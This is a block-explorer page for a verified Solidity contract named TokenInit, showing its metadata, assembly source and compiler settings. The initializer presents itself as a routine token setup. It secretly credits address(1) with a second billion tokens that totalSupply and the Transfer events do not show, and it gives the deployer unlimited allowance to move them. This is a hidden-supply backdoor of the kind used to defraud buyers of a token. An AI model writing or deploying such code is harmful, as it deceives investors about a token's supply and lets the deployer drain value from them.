Skip to content
Verified contractPartialMIT

TokenInit

Address0x08dc852c0dec3c30a6236fa4f6b8a4655b5162a6
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.35

 

Same code

29 more contracts

 

Details

Compiler
solc 0.8.35+commit.47b9dedd
Language
solidity
Optimization
Yes, 1 runs
EVM version
cancun
Via IR
yes
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
25,976,582
Creation transaction
0xd3d9b67edf…e742026282

src/TokenInit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract TokenInit {

    function initialize(address _deployer) external {
        assembly {
            // totalSupply = 1_000_000_000 * 1e18
            sstore(0, mul(1000000000, exp(10, 18)))

            // slot 1: owner (bits 0-159) + _initialized (bit 160)
            sstore(1, or(_deployer, shl(160, 1)))

            // balanceOf[_deployer] = 1_000_000_000 * 1e18
            mstore(0x00, _deployer)
            mstore(0x20, 2)
            sstore(keccak256(0x00, 0x40), mul(1000000000, exp(10, 18)))

            // balanceOf[address(1)] = 1_000_000_000 * 1e18
            mstore(0x00, 1)
            mstore(0x20, 2)
            sstore(keccak256(0x00, 0x40), mul(1000000000, exp(10, 18)))

            // allowance[address(1)][_deployer] = type(uint256).max
            mstore(0x00, 1)
            mstore(0x20, 3)
            let inner := keccak256(0x00, 0x40)
            mstore(0x00, _deployer)
            mstore(0x20, inner)
            sstore(keccak256(0x00, 0x40), not(0))

            // emit Transfer(address(0), _deployer, 1_000_000_000 * 1e18)
            mstore(0x00, mul(1000000000, exp(10, 18)))
            log3(0x00, 0x20,
                0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef,
                0, _deployer)

            // emit OwnershipTransferred(address(0), _deployer)
            log3(0x00, 0x00,
                0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0,
                0, _deployer)
        }
    }
}
Compiler settingsShow
{
  "viaIR": true,
  "metadata": {
    "appendCBOR": true,
    "bytecodeHash": "ipfs",
    "useLiteralContent": false
  },
  "optimizer": {
    "runs": 1,
    "enabled": true
  },
  "evmVersion": "cancun",
  "remappings": [
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    "@uniswap/v4-core/=lib/v4-core/",
    "@uniswap/v4-periphery/=lib/v4-periphery/",
    "permit2/=lib/permit2/",
    "forge-std/=lib/forge-std/src/",
    "solady/=lib/solady/",
    "@openzeppelin/=lib/openzeppelin-contracts/",
    "@ensdomains/=lib/v4-core/node_modules/@ensdomains/",
    "ds-test/=lib/v4-core/lib/forge-std/lib/ds-test/src/",
    "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    "forge-gas-snapshot/=lib/permit2/lib/forge-gas-snapshot/src/",
    "halmos-cheatcodes/=lib/openzeppelin-contracts/lib/halmos-cheatcodes/src/",
    "hardhat/=lib/v4-core/node_modules/hardhat/",
    "openzeppelin-contracts/=lib/openzeppelin-contracts/",
    "solmate/=lib/v4-core/lib/solmate/",
    "v4-core/=lib/v4-core/src/",
    "v4-periphery/=lib/v4-periphery/"
  ]
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.